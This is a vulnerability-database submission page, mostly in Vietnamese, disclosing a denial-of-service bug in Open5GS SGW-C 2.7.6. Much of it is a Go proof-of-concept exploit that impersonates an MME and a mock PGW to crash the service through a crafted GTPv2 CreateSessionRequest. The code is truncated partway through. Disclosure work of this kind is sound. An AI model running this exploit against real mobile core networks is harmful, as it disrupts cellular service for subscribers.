Gửi #744719: Open5GS SGWC v2.7.6 Denial of Servicethông tin

tiêu đềOpen5GS SGWC v2.7.6 Denial of Service
Mô tả### Description SGW-C can be forced to **abort (SIGABRT / core dump)** when handling a **CreateSessionRequest** on **S11** with the **Indication IE OI flag (0x08)** set. With OI=1, SGW-C sends a **ModifyBearerRequest** to the PGW (S5-C) instead of directly proceeding as usual. If the subsequent **ModifyBearerResponse** path does not initialize the PGW S5U tunnel address (`ul_tunnel->remote_ip`), then while building the **CreateSessionResponse** back to MME, SGW-C hits: - `[gtp] ERROR: No IPv4 or IPv6 (../lib/gtp/v2/conv.c:150)` - `sgwc_s11_build_create_session_response: Assertion 'rv == OGS_OK' failed. (../src/sgwc/s11-build.c:120)` This results in an immediate SGW-C process crash (DoS). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main // Vulnerability: Uninitialized PGW S5U Address in OI Flag Path // Target: Open5GS SGW-C sgwc_s11_build_create_session_response // File: src/sgwc/s11-build.c:120 // Crash: ogs_assert(rv == OGS_OK) after ogs_gtp2_ip_to_f_teid() fails // Error: "No IPv4 or IPv6" because ul_tunnel->remote_ip is never initialized // // Root Cause: // - sgwc_s5c_handle_modify_bearer_response() does NOT parse Bearer Context // - ul_tunnel->remote_ip is never set from PGW's MBR Response // - When building CreateSessionResponse, conversion fails // // Attack Flow: // 1) MME -> SGW-C: CreateSessionRequest with OI flag (0x08) // 2) SGW-C -> PGW: ModifyBearerRequest (because of OI flag) // 3) PGW -> SGW-C: ModifyBearerResponse (with Bearer Context containing PGW S5U F-TEID) // 4) SGW-C crashes: ul_tunnel->remote_ip is empty, assertion fails import ( "flag" "fmt" "log" "math/rand" "net" "sync" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" gtpv2msg "github.com/wmnsk/go-gtp/gtpv2/message" ) func main() { // MME (S11) connection parameters target := flag.String("target", "", "SGW-C S11 IP (required)") port := flag.Int("port", 2123, "GTP-C port") laddr := flag.String("laddr", "", "Local IP to bind (auto-detect if empty)") // Session parameters apn := flag.String("apn", "internet", "APN to request") imsi := flag.String("imsi", "001011234567890", "IMSI") mcc := flag.String("mcc", "001", "Serving network MCC") mnc := flag.String("mnc", "01", "Serving network MNC") // PGW mock parameters pgwBind := flag.String("pgw-bind", ":2123", "PGW-C mock listen address") pgwIP := flag.String("pgw-ip", "", "PGW control-plane IP (default: auto)") pgwPAA := flag.String("pgw-paa", "10.0.0.10", "PDN Address Allocation") // TEID parameters mmeTEID := flag.Uint("mme-teid", 0, "MME S11 TEID (0=random)") pgwTEID := flag.Uint("pgw-teid", 0, "PGW S5C TEID (0=random)") enbIP := flag.String("enb-ip", "10.0.0.10", "eNB S1-U IP") enbTEID := flag.Uint("enb-teid", 0, "eNB S1-U TEID (0=random)") flag.Parse() if *target == "" { log.Fatal("--target is required") } rand.Seed(time.Now().UnixNano()) fmt.Println("================================================================") fmt.Println(" Vulnerability: Uninitialized PGW S5U Address (s11-build.c:120)") fmt.Println(" Target: SGW-C sgwc_s11_build_create_session_response") fmt.Println(" Attack: OI flag causes Bearer Context parsing to be skipped") fmt.Println("================================================================") // Connect to SGW-C S11 interface as MME conn, localIP := dialGTPv2(*target, *port, *laddr) defer conn.Close() log.Printf("[*] Connected to SGW-C S11 at %s:%d (local: %s)", *target, *port, localIP) // Determine PGW IP if *pgwIP == "" { *pgwIP = localIP } // Channel for PGW to signal when it receives ModifyBearerRequest mbrReceived := make(chan mbrInfo, 1) pgwReady := make(chan struct{}) responseSent := make(chan bool, 1) // Start PGW mock pgwConn, err := startPGWMock(*pgwBind, *pgwIP, *pgwPAA, mbrReceived, pgwReady, responseSent) if err != nil { log.Fatalf("start PGW mock: %v", err) } defer pgwConn.Close() <-pgwReady log.Printf("[*] PGW mock listening on %s", *pgwBind) // Initialize TEIDs mmeTeid := randNonZeroUint32(uint32(*mmeTEID)) pgwTeid := randNonZeroUint32(uint32(*pgwTEID)) enbTeid := randNonZeroUint32(uint32(*enbTEID)) baseSeq := randSeq() // Send CreateSessionRequest WITH OI flag log.Printf("[*] Sending CreateSessionRequest with OI flag (0x08)...") log.Printf(" OI flag triggers MBR to PGW instead of CSR") log.Printf(" SGW-C will NOT parse Bearer Context from MBR Response") log.Printf(" ul_tunnel->remote_ip will remain uninitialized") csr, err := buildCSRWithOI(baseSeq, *imsi, *apn, localIP, *pgwIP, *mcc, *mnc, mmeTeid, pgwTeid, enbTeid, *enbIP) if err != nil { log.Fatalf("build CSR: %v", err) } if err := sendMessage(conn, csr); err != nil { log.Fatalf("send CSR: %v", err) } log.Printf("[+] CreateSessionRequest sent with OI=1") // Wait for PGW to receive MBR log.Printf("[*] Waiting for PGW to receive ModifyBearerRequest...") select { case info := <-mbrReceived: log.Printf("[+] PGW received ModifyBearerRequest from SGW-C") log.Printf(" SGW S5C TEID=0x%x, Seq=0x%x", info.sgwTeid, info.seq) case <-time.After(10 * time.Second): log.Fatal("Timeout waiting for MBR at PGW") } // Wait for response to be sent log.Printf("[*] Waiting for ModifyBearerResponse to trigger crash...") select { case <-responseSent: log.Printf("[+] ModifyBearerResponse sent!") log.Printf("[*] SGW-C should crash now:") log.Printf(" - sgwc_s5c_handle_modify_bearer_response() doesn't parse Bearer Context") log.Printf(" - ul_tunnel->remote_ip is empty (never initialized)") log.Printf(" - ogs_gtp2_ip_to_f_teid() fails: 'No IPv4 or IPv6'") log.Printf(" - ogs_assert(rv == OGS_OK) triggers crash at s11-build.c:120") case <-time.After(5 * time.Second): log.Printf("[!] Timeout waiting for response to be sent") } // Wait for crash time.Sleep(2 * time.Second) log.Println("") log.Println("[*] Attack complete. Verify crash with:") log.Println(" docker logs sgwc --tail 20") log.Println("") log.Println("[*] Expected crash log:") log.Println(" [gtp] ERROR: No IPv4 or IPv6 (../lib/gtp/v2/conv.c:150)") log.Println(" [sgwc] FATAL: sgwc_s11_build_create_session_response: Assertion `rv == OGS_OK' failed. (../src/sgwc/s11-build.c:120)") } type mbrInfo struct { sgwTeid uint32 seq uint32 raddr *net.UDPAddr } func startPGWMock(bind, pgwIP, paa string, mbrCh chan<- mbrInfo, ready chan<- struct{}, responseSent chan<- bool) (*net.UDPConn, error) { laddr, err := net.ResolveUDPAddr("udp", bind) if err != nil { return nil, fmt.Errorf("resolve bind: %w", err) } conn, err := net.ListenUDP("udp", laddr) if err != nil { return nil, fmt.Errorf("listen udp: %w", err) } pgwCtrlTeid := randNonZeroUint32(0) pgwUpTeid := randNonZeroUint32(0) var mu sync.Mutex mbrHandled := false go func() { close(ready) buf := make([]byte, 4096) for { n, raddr, err := conn.ReadFromUDP(buf) if err != nil { return } go func(b []byte, r *net.UDPAddr) { msg, err := gtpv2msg.Parse(b) if err != nil { log.Printf("[PGW] parse error: %v", err) return } switch m := msg.(type) { case *gtpv2msg.CreateSessionRequest: log.Printf("[PGW] Received CreateSessionRequest - unexpected with OI flag!") handlePGWCSR(conn, r, m, pgwCtrlTeid, pgwUpTeid, paa, pgwIP) case *gtpv2msg.ModifyBearerRequest: mu.Lock() if mbrHandled { mu.Unlock() log.Printf("[PGW] Ignoring retransmission") return } mbrHandled = true mu.Unlock() teid := m.TEID() if m.SenderFTEIDC != nil { if v, err := m.SenderFTEIDC.TEID(); err == nil { teid = v } } log.Printf("[PGW] Received ModifyBearerRequest seq=0x%x", m.Sequence()) // Notify main goroutine select { case mbrCh <- mbrInfo{sgwTeid: teid, seq: m.Sequence(), raddr: r}: default: } // Send response immediately (no delay needed for this vulnerability) // The crash happens because SGW-C doesn't parse our response, not timing log.Printf("[PGW] Sending ModifyBearerResponse with valid PGW S5U F-TEID") log.Printf("[PGW] Note: SGW-C will NOT parse this Bearer Context!") resp := gtpv2msg.NewModifyBearerResponse( teid, m.Sequence(), ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewBearerContext( ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewEPSBearerID(5), // This F-TEID contains valid IP, but SGW-C won't parse it! ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, pgwUpTeid, pgwIP, "").WithInstance(2), ), ) if err := pgwSendMsg(conn, r, resp); err != nil { log.Printf("[PGW] send error: %v", err) } else { log.Printf("[PGW] ModifyBearerResponse sent (TEID=0x%x)", teid) } select { case responseSent <- true: default: } default: log.Printf("[PGW] Ignored message type=%d", msg.MessageType()) } }(append([]byte(nil), buf[:n]...), raddr) } }() return conn, nil } func handlePGWCSR(conn *net.UDPConn, raddr *net.UDPAddr, req *gtpv2msg.CreateSessionRequest, pgwCtrlTeid, pgwUpTeid uint32, paa, pgwIP string) { sgwTeid := req.TEID() if req.SenderFTEIDC != nil { if v, err := req.SenderFTEIDC.TEID(); err == nil { sgwTeid = v } } ebi := uint8(5) if req.LinkedEBI != nil { if v, err := req.LinkedEBI.EPSBearerID(); err == nil && v != 0 { ebi = v } } resp := gtp
Nguồn⚠️ https://github.com/open5gs/open5gs/issues/4257
Người dùng
 FrankyLin (UID 94345)
Đệ trình22/01/2026 18:35 (cách đây 3 các tháng)
Kiểm duyệt06/02/2026 07:38 (15 days later)
Trạng tháiđược chấp nhận
Mục VulDB344622 [Open5GS đến 2.7.6 PGW S5U Address Từ chối dịch vụ]
điểm20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!